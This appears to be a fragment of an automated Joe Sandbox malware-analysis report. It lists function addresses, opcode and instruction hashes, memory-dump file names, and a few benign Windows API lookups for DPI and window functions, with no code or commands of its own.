Instruction ID: f0c1f2307e4b79f9f1d50b10a99d7877b88f2da3168a9a4456d91791d1aca3e3
Opcode Fuzzy Hash: 9e6d2c8ff96c540f76975fcf1061c19904591defaf5f348ad60136d95fa0b10b
Instruction Fuzzy Hash: 28C1D275D012098BCB04CF99D5906EEBBF2FF8A318F28415DD8556BB45D732A886CBD0

Function 00EAA456 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

Kx_?, xrefs: 00EAA6B3

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Kx_?
API String ID: 0-3170260334
Opcode ID: 2bcc0817f3b3f5f30955fb7b3d3bff4e5c64a971c46cb04eaf3e8ed643d445fd
Instruction ID: 39aabf2c22a162fa5f6ef3ca86eda2cc0c8a41e02afb1b8f75e5eb4a79ac3b55
Opcode Fuzzy Hash: 2bcc0817f3b3f5f30955fb7b3d3bff4e5c64a971c46cb04eaf3e8ed643d445fd
Instruction Fuzzy Hash: 096106F3A183149FF7046F28EC89776B7D5DB54320F5A053DEA88973C1E97D5804868A

Function 00D8E71E Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

rn+M, xrefs: 00D8E955

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: rn+M
API String ID: 0-3693515109
Opcode ID: d940451e739d521473d9da5847da4ad3f7d95c6d23dc812438ee90d860ab3076
Instruction ID: 7fd750f256b0b0fa0e364b1ba0bd8d597d20ae1b4120c063936ef1e9e8f4906d
Opcode Fuzzy Hash: d940451e739d521473d9da5847da4ad3f7d95c6d23dc812438ee90d860ab3076
Instruction Fuzzy Hash: 5161C3F3A083109FE3106E2DDDC576AFBE5EB94360F16852DEAD483784EA3848458786

Function 6CB1AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9080d174365deb454bef92f7447d125f22aa5a8f073c4800e47297a813a52e
Instruction ID: cf0f902147482834fd229bfce80e4e59cfdb4836e897be57ad420a2b85d73399
Opcode Fuzzy Hash: 7d9080d174365deb454bef92f7447d125f22aa5a8f073c4800e47297a813a52e
Instruction Fuzzy Hash: 13F1197160C7854FDB00CE28C8917AAB7E6EFC5318F15862DE4D4C7B91E774A88D8B92

Function 00EB7CA0 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cbf8ccff9a10e10626fcf260593f4b5e4e61e32cda4dc6f570ce6fc8dc0dd45
Instruction ID: 4397469f3a10a95c06e2d7a60f7456827d0a1814dd5898564b7283fe2c629450
Opcode Fuzzy Hash: 6cbf8ccff9a10e10626fcf260593f4b5e4e61e32cda4dc6f570ce6fc8dc0dd45
Instruction Fuzzy Hash: F0517BF76087049FE304AE2EEC81B3BB7DAEBE4360F19853DE684C7304E97599058652

Function 00E7DE8A Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6ec6660a8c58351a38d350200ea57d576c4bb17aabb2874c137b357d82c5e00
Instruction ID: 8670eae810939d76aec2cda3c50a66cf5944b7424588fc1c7a6fa643b2a6e845
Opcode Fuzzy Hash: b6ec6660a8c58351a38d350200ea57d576c4bb17aabb2874c137b357d82c5e00
Instruction Fuzzy Hash: 205109F3E191005BF318992DDCD572BB6DAEBD4310F2A853DEB89D3388E8795C054296

Function 00EAAE04 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9371cd0109185b0ec7c32fba427d1f03b91b0224d8fac0cab0cc9999b110e8b
Instruction ID: 4445da38a169f33d95ec187aa8365659f8405b364a14476786db895fb6e0ac0f
Opcode Fuzzy Hash: e9371cd0109185b0ec7c32fba427d1f03b91b0224d8fac0cab0cc9999b110e8b
Instruction Fuzzy Hash: BC51D0F3A182209BE3546D2CDC857BAB7D9EB88720F1A453DEBC4C7780DA39480587D6

Function 00E62786 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae105805dbd9b726657ac2d15d71d00e6927453aec8e3a06f080bf45c2f9a07
Instruction ID: 8074d121481a0d61407e6fe64a4c880040f11a780b9c9f61bbefa9d713e3bc65
Opcode Fuzzy Hash: cae105805dbd9b726657ac2d15d71d00e6927453aec8e3a06f080bf45c2f9a07
Instruction Fuzzy Hash: 5D41F3F39082049FE310BE3DEC8573AB7E9EB94620F1A492DEAC4D3300F53699548293

Function 00F7F9F5 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5fec3ea6b5d821d943c31291c17c0a4fcea88d7693f6ab2e743673d6c11f4f0
Instruction ID: d041257d7579189f10994aa64980d6321bc3ecb74af99908921150a4091ee7d7
Opcode Fuzzy Hash: d5fec3ea6b5d821d943c31291c17c0a4fcea88d7693f6ab2e743673d6c11f4f0
Instruction Fuzzy Hash: 8531E6B291C214AFD315AF28D8426AAFBE4FF58761F06082DE6C8D3250D73198408B97

Function 00B09750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CB055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CADE1A5), ref: 6CB05606
LoadLibraryW.KERNEL32(gdi32,?,6CADE1A5), ref: 6CB0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB056FD
